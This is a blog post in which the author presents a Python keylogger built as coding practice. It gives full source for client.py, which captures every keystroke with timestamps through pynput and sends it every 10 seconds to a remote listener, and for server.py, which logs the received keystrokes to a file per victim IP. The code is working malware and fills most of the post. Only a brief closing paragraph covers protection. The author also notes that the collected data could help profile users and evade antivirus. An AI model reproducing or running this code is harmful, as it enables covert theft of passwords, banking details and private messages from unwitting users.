Sitemap
Paxterson32

Paxterson32

My KeyLogger in Python

4 min readFeb 17, 2024

--

Hello Folks, I hope you are doing well.

In order to practice Python and master the Python language for cybersecurity, I have decided to create scripts in this language to test my knowledge. On the recommendation of some colleagues, I have decided to create a keylogger to my taste :)

Press enter or click to view image in full size

What’s a Keylogger ?

A keylogger is a type of malware designed to track everything you type on your computer or keyboard without you realizing it. They are typically used for malicious purposes such as stealing passwords, banking information, personal data, or other sensitive information. There are two types: hardware keyloggers and software keyloggers.

Hardware keyloggers are physical devices that are connected between the keyboard and the computer or integrated into the keyboard itself. They will intercept the signals generated when a key is pressed and either note them somewhere or send them to another device via a wireless connection. Therefore, they cannot be detected by antivirus software. Here is an example in a photo.

Software keyloggers, on the other hand, are malicious programs that install themselves on the victim’s computer and record keyboard strokes. The good news is that they can be detected and removed by antivirus software.

Get Paxterson32’s stories in your inbox

Join Medium for free to get updates from this writer.

You probably already guessed, but in my case, I tried to reproduce the functionality of a software keylogger using Python.

Explanation of my KeyLogger

The project I’ve created consists of two files. One file, server.py, will be executed on a remote machine (the attacker’s machine). This script will create a listener on port 1234 of the machine and wait for new connections. For each new connection, a file will be created with the IP address of the connecting machine, and all received data will be redirected to this file.


import threading
import socket

IP = "1.1.1.1"
PORT = 1234
DATA_SIZE = 1024


def start_server():
# this function will read the data from the file and send it to the external server
global s

# We will use IPv4 addresses and TCP
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# we will set additionnal socket options : SOL_SOCKET = the options is set for the socket itself, SO_REUSEADDR = the socket can be reuse immediately after closing it
# 1 = value given to the SO_REUSEADDR
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Make a binding with the given IP and port
s.bind((IP,PORT))
# set the max number of connexions we will accept.
s.listen(2)
# for each connexion we accept, we will get the addr and a connexion object
conn, addr = s.accept()


if conn != None:
print(f"\nConnection Succesfully Established from {addr}")
# For each successful connexion we will create a new thread to handle the received data's
t = threading.Thread(target=get_data, args=[conn,addr[0]])
t.deamon = True
t.start()


def get_data(conn,ip_string):
with open(ip_string,'a+') as f:
while True:
data = conn.recv(DATA_SIZE)
# we have to use the decode utf-8 in order to correctly format the data.
print(data.decode('utf-8'))
f.write(data.decode('utf-8'))


if __name__ == "__main__":
start_server()

On the machine from which we want to know the keys that have been pressed, we will execute the client.py script. This code will use the pynput library to retrieve the keys pressed by the user. Once these elements have been retrieved, they will be placed in a buffer that will be sent at regular intervals of 10 seconds. The idea is to avoid a constant flow of data through the network. The code is as follows:

from pynput import keyboard
import sys
import socket
import threading
import time
import datetime

IP = "1.1.1.1"
PORT = 1234
HEADER = 50
LOG_INTERVAL = 10 # Interval to log data to file (in seconds)

# We'll not store the data in a file but use a buffer instead
data_buffer = []

def on_press(key): # function that the keyboard listener will use
try:
if key == keyboard.Key.esc: # We can sop the keyboard using Escape
print("Byeeeeee !!!")
sys.exit()
# each time an alphabenumeric key will be pressed, it will be add to the buffer
# print('Alphanumeric key {0} pressed'.format(key.char))
data_buffer.append(datetime.datetime.now().__str__() + ' ' + str(key))

except AttributeError:
# This part is for non alphanumeric keys, a special treatment can be add here
# print('Special key {0} pressed'.format(key))
data_buffer.append(datetime.datetime.now().__str__() + ' ' + str(key))


def log_keys(): # function to start the listener
with keyboard.Listener(on_press=on_press) as listener :
listener.join()

def send_data(): # this function will create a socket connection and send the data collected in the buffer through that connection.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setblocking(1)
try:
s.connect((IP,PORT))
print(f"Connexion successfull\n")
except socket.error:
print(f"Unable to connect to the server please try back again\n")
sys.exit()

while True:
if data_buffer:
data = "\n".join(data_buffer)
s.sendall(data.encode('utf-8'))
data_buffer.clear()
time.sleep(LOG_INTERVAL)

def main(): # We will create two threads in order to permit to both function to run simultaneously
t = threading.Thread(target=log_keys, args=[])
t.daemon = True
t.start()

time.sleep(2) # Wait for log_keys to start

t2 = threading.Thread(target=send_data)
t2.daemon = True
t2.start()

t.join() # Wait for log_keys to finish

if __name__ == "__main__":
main()

I have made sure to collect all the data, including the date and special keys, because this data could be used to define the user’s profile, their habits, their precision, and possibly used to bypass antivirus software in the event of more advanced attacks.

Protecting Against Keyloggers

Keyloggers are a real threat and a true danger to users. Fortunately, we can protect ourselves by adopting good practices. These best practices involve avoiding downloading software from unreliable sources, reading the terms of use of software before installing it, installing online protection software and antivirus programs on our computers and mobile phones, keeping the applications on our machines up to date, and not using USB keys from unknown sources. This list of recommendations is not exhaustive, so it is important to continuously educate ourselves about the phishing techniques used by cybercriminals.

--

--